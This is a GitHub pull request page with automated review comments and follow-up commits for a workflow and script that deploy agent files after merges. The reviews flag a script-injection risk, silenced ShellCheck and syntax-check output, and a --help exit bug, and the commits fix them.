[error] 102-102: "github.event.head_commit.author.name" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🪛 GitHub Check: Codacy Static Code Analysis
[failure] 102-102: .github/workflows/auto-deploy-agents.yml#L102
Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner.
🤖 Prompt for AI Agents
In @.github/workflows/auto-deploy-agents.yml around lines 98 - 107, The step is
echoing untrusted commit metadata (github.event.head_commit.author.name and
github.event.head_commit.message) directly into the run script which enables
command injection; instead, add these values to the step's env (e.g.
COMMIT_AUTHOR and COMMIT_MESSAGE populated from github.event.*) and reference
those env vars inside the run block (use plain $COMMIT_AUTHOR and
$COMMIT_MESSAGE or safe printing like printf '%s\n' "$COMMIT_MESSAGE") when
writing to GITHUB_STEP_SUMMARY; keep github.sha as-is but remove any direct
expansion of github.event.head_commit.* from the run script to eliminate
injection risk.
| if shellcheck -x "$script" 2>/dev/null; then | ||
| PASSED=$((PASSED + 1)) | ||
| else | ||
| FAILED=$((FAILED + 1)) | ||
| echo "::warning file=$script::ShellCheck found issues" | ||
| fi |
There was a problem hiding this comment.
ShellCheck output is silenced — issues won't appear in the step summary or logs.
shellcheck -x "$script" 2>/dev/null discards stderr, which is where ShellCheck writes its findings. The step summary only records pass/fail counts but never the actual diagnostics, making debugging impossible. Additionally, this step only emits ::warning annotations but doesn't exit 1 on failures, meaning the workflow will still pass with ShellCheck violations — potentially at odds with the zero-violations guideline.
🔧 Proposed fix — capture and display ShellCheck output
- if shellcheck -x "$script" 2>/dev/null; then
+ if shellcheck -x "$script"; then
PASSED=$((PASSED + 1))
else
FAILED=$((FAILED + 1))
echo "::warning file=$script::ShellCheck found issues"
fiAnd optionally fail the workflow:
if [[ "$FAILED" -gt 0 ]]; then
echo "" >> "$GITHUB_STEP_SUMMARY"
- echo "::warning::$FAILED script(s) have ShellCheck issues"
+ echo "::error::$FAILED script(s) have ShellCheck issues"
+ exit 1
fiBased on learnings: "Run ShellCheck with zero violations on all scripts in .agents/scripts/"
🤖 Prompt for AI Agents
In @.github/workflows/auto-deploy-agents.yml around lines 173 - 178, The
ShellCheck invocation currently silences diagnostics with `2>/dev/null` so you
can't see issues; update the block that runs `shellcheck -x "$script"` (the
variables PASSED, FAILED, and the `script` loop) to capture ShellCheck output
(e.g., into a variable like SC_OUT) instead of discarding stderr, print SC_OUT
to the job logs and emit the annotation `::error`/`::warning` including the
diagnostic text, increment FAILED when there are findings, and make the step
fail (exit non-zero) when FAILED > 0 so violations break the workflow rather
than only updating counts.
| if ! bash -n "$script" 2>/dev/null; then | ||
| echo "::error file=$script::Syntax error in $script" |
There was a problem hiding this comment.
bash -n stderr also silenced — syntax error messages won't be visible.
The same concern applies here: 2>/dev/null hides the actual syntax error details from the logs. The ::error annotation only says there's a syntax error but doesn't include the specifics.
🔧 Proposed fix
- if ! bash -n "$script" 2>/dev/null; then
+ if ! bash -n "$script"; then
echo "::error file=$script::Syntax error in $script"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if ! bash -n "$script" 2>/dev/null; then | |
| echo "::error file=$script::Syntax error in $script" | |
| if ! bash -n "$script"; then | |
| echo "::error file=$script::Syntax error in $script" |
🤖 Prompt for AI Agents
In @.github/workflows/auto-deploy-agents.yml around lines 202 - 203, The current
check hides bash syntax error details by redirecting stderr to /dev/null in the
line using bash -n "$script" 2>/dev/null; change the logic to run bash -n
"$script" but capture its stderr (e.g., redirect 2>&1 into a variable), then
when the syntax check fails use the ::error annotation to include that captured
stderr output (e.g., echo "::error file=$script::Syntax error in $script:
<captured-stderr>") so the logs show the actual syntax error details; target the
condition around bash -n "$script" and the echo "::error file=$script::Syntax
error in $script" so you only change how stderr is handled and included in the
annotation.
marcusquinn
dismissed
coderabbitai[bot]’s stale review
Bot review dismissed - all CI checks pass
- Workflow: use unique heredoc delimiter to prevent EOF collision in GITHUB_OUTPUT - Workflow: show bash -n syntax error details instead of silencing stderr - Script: exit 0 on --help to prevent main() from continuing execution - Script: clean target before tar fallback to match rsync --delete behavior - Script: increment failed counter on cp/rm errors for proper error reporting Closes #3548 Closes #3549
- Heredoc delimiter collision: use unique timestamp-based delimiter for GITHUB_OUTPUT multiline values to prevent truncation if file paths contain 'EOF' (auto-deploy-agents.yml) - Script injection hardening: use printf with %s format for untrusted commit metadata in step summary to prevent format string issues (auto-deploy-agents.yml) - Syntax check visibility: remove stderr suppression from bash -n so actual syntax error details appear in CI logs (auto-deploy-agents.yml) - Help flag bug: change return 0 to exit 0 in --help handler so main() does not continue into validate_repo/deploy (deploy-agents-on-merge.sh) - Tar fallback parity: clear target directory before tar extract to match rsync --delete behavior and prevent stale files persisting in both deploy_scripts_only and deploy_all_agents (deploy-agents-on-merge.sh) - Dead code fix: wrap cp/rm in error handling and increment failed counter so partial failures are reported instead of silently ignored or causing set -e abort (deploy-agents-on-merge.sh) Closes #3548 Closes #3549
#916 review Three bugs fixed from CodeRabbit review feedback: 1. --help flag no longer continues execution into validate_repo/deploy (return 0 -> exit 0 in parse_args) 2. tar fallback now matches rsync --delete behavior by cleaning target directory before extracting, preventing stale files from persisting in both deploy_scripts_only and deploy_all_agents 3. failed counter in deploy_changed_files is now actually incremented on cp/chmod/rm errors instead of letting set -e abort the script, enabling graceful partial-failure reporting Closes #3548
marcusquinn#916 review (marcusquinn#3858) Merged by supervisor pulse — green CI, 1 review, admin author.
1 participant
Summary
~/.aidevops/agents/after the supervisor merges PRs that modify.agents/deploy-agents-on-merge.sh) is much faster than fullsetup.sh --non-interactive— supports scripts-only, diff-based, and version-based modesChanges
1. GitHub Action:
.github/workflows/auto-deploy-agents.ymlmainwhen.agents/scripts/**,.agents/**/*.md, or.agents/**/*.shchange.shfilesworkflow_dispatchfor manual triggers (scripts-only or full)2. Deploy Script:
.agents/scripts/deploy-agents-on-merge.shsetup.sh --non-interactive)--scripts-only(fastest),--diff <commit>(changed files only), default (version-based)custom/anddraft/directories (user-owned agents)setup.shvia--fullflaglocal var="$1"pattern3. Supervisor Integration:
.agents/scripts/supervisor-helper.shmerge_task_pr()now records pre-merge commit hash in task DB for diff-based deployrun_deploy_for_task()tries targeted deploy first (using pre-merge commit diff), falls back to fullsetup.shif targeted deploy fails or isn't availableTesting
bash -nsyntax check: all 3 files pass--scripts-only,--diff, default, and--helpmodes all work correctly.gitdirectory and.gitfile (worktree)Summary by CodeRabbit
New Features
Chores